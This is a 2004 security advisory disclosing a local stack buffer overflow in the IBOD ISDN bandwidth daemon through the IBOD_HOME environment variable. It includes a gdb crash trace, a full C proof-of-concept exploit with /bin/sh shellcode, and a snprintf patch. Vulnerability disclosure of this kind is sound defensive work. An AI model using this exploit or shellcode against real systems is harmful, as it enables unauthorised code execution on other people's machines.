------------------------------------------------- No System Group - Advisory #10 - 19/12/04 ------------------------------------------------- Program: IBOD/XIBOD ISDN Bandwidth On Demand Daemon Homepage: http://www.datenwelt.net/oss/ibod/ Vulnerable Versions: IBOD/XIBOD 1.5.0 and prior Risk: Low Impact: Local Stack Buffer Overflow Vulnerability ------------------------------------------------- - DESCRIPTION ------------------------------------------------- Ibod is a daemon program for GNU/Linux that constantly monitors the ISDN interface for inbound and outbound traffic throughput. It was originally written by Björn Smith at Compound Systems AB. More informations at: http://www.datenwelt.net/oss/ibod/ - DETAILS ------------------------------------------------- Ibod is affected by a buffer overflow bug in setattr() function when is stored in the 'config_filename' variable more than 512 bytes: --- ibod.c --- 050: channels_last = -1; 051: 052: /* Find out where to look for configuration file */ 053: if ((home = getenv("IBOD_HOME")) == NULL) // <--- check this 054: home = IBOD_DEFAULT_DIR; 055: 056: /* Setup initial attributes */ 057: if (setattr(home) == -1) { 058: closelog(); 059: exit(1); 060: } ... 206: /* Open config file */ 207: sprintf(config_filename, "%s/ibod.cf", home); // <--- the bug 208: if ((fd = fopen(config_filename, "r")) == NULL) { 209: 210: syslog(LOG_ERR, "%s: %s\n", config_filename, strerror(errno)); 211: return -1; 212: } 213: 214: /* Loop over the config file to setup attributes */ 215: while (fgets(linebuf, MAX_STR_LEN, fd) != NULL) { 216: 217: if (*linebuf == '#') /* Ignore comments */ 218: continue; --- ibod.c --- We now will see what happened... coki@nosystem:~/audit$ export IBOD_HOME=`perl -e 'print "A" x 544'` coki@nosystem:~/audit$ ibod Segmentation fault coki@nosystem:~/audit$ When is stored more than 512 bytes in IBOD_HOME, the buffer 'config_filename' is overflowed. We now will see what happen with 'gdb'. coki@nosystem:~/audit$ gdb ibod GNU gdb 6.1.1 Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i486-slackware-linux"...Using host libthread_db library "/lib/libthread_db.so.1". (gdb) r Starting program: /home/coki/audit/ibod Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) i r $eip eip 0x41414141 0x41414141 (gdb) q The program is running. Exit anyway? (y or n) y coki@nosystem:~/audit$ We can see that the EIP is overwritten with 0x41414141. - EXPLOIT ------------------------------------------------- ------------------ ibod_bof.c ------------------- /* ibod_bof.c * * IBOD <= 1.5.0 local buffer overflow exploit (Proof of Concept) * * Tested in Slackware Linux 10.0 * * by CoKi * No System Group - http://www.nosystem.com.ar */ #include #include #define BUFFER 540 + 4 char shellcode[]= "\x31\xc0" /* xor %eax,%eax */ "\x31\xd2" /* xor %edx,%edx */ "\x52" /* push %edx */ "\x68\x2f\x2f\x73\x68" /* push $0x68732f2f */ "\x68\x2f\x62\x69\x6e" /* push $0x6e69622f */ "\x89\xe3" /* movl %esp,%ebx */ "\x52" /* push %edx */ "\x53" /* push %ebx */ "\x89\xe1" /* movl %esp,%ecx */ "\xb0\x0b" /* mov $0xb,%al */ "\xcd\x80"; /* int $0x80 */ void use(char *program); int main(int argc, char *argv[]) { FILE *file; char buf[BUFFER], *path, tmp[BUFFER]; char *buffer=buf; int ret; if(argc != 2) use(argv[0]); path = argv[1]; if((file = fopen(path, "r")) == NULL) { printf(" Failed to open file!\n"); exit(1); } ret = 0xbffffffa - strlen(shellcode) - strlen(path); bzero(buf, sizeof(buf)); memset(buffer, 'A', BUFFER-4); sprintf(tmp, "%s", &ret); strncat(buf, tmp, 4); printf("\n ibod <= 1.5.0 local stack buffer overflow (Proof of Concept)\n"); printf(" by CoKi \n\n"); setenv("IBOD_HOME", buf, 1); setenv("SHELLCODE", shellcode, 1); execl(path, path, NULL); } void use(char *program) { printf(" Use: %s \n", program); exit(1); } ---------------- ibod_bof.c ------------------ coki@nosystem:~/audit$ make ibod_bof cc ibod_bof.c -o ibod_bof coki@nosystem:~/audit$ ./ibod_bof /home/coki/audit/ibod ibod <= 1.5.0 local stack buffer overflow (Proof of Concept) by CoKi sh-2.05b$ id uid=1000(coki) gid=0(root) groups=0(root),11(floppy),17(audio),18(video),19(cdrom) sh-2.05b$ This exploit does not give a root shell :( - SOLUTIONS ------------------------------------------------- The patch is included here: --- ibod.c 2001-02-15 07:31:37.000000000 -0300 +++ ibod.c 2004-12-20 20:56:40.000000000 -0300 @@ -204,7 +204,7 @@ static int setattr(char *home) cf.max_channels = MAX_CHANNELS; /* Open config file */ - sprintf(config_filename, "%s/ibod.cf", home); + snprintf(config_filename, sizeof(config_filename), "%s/ibod.cf", home); if ((fd = fopen(config_filename, "r")) == NULL) { syslog(LOG_ERR, "%s: %s\n", config_filename, strerror(errno)); return -1; - REFERENCES ------------------------------------------------- http://www.nosystem.com.ar/advisories/advisory-10.txt - CREDITS ------------------------------------------------- Discovered by CoKi No System Group - http://www.nosystem.com.ar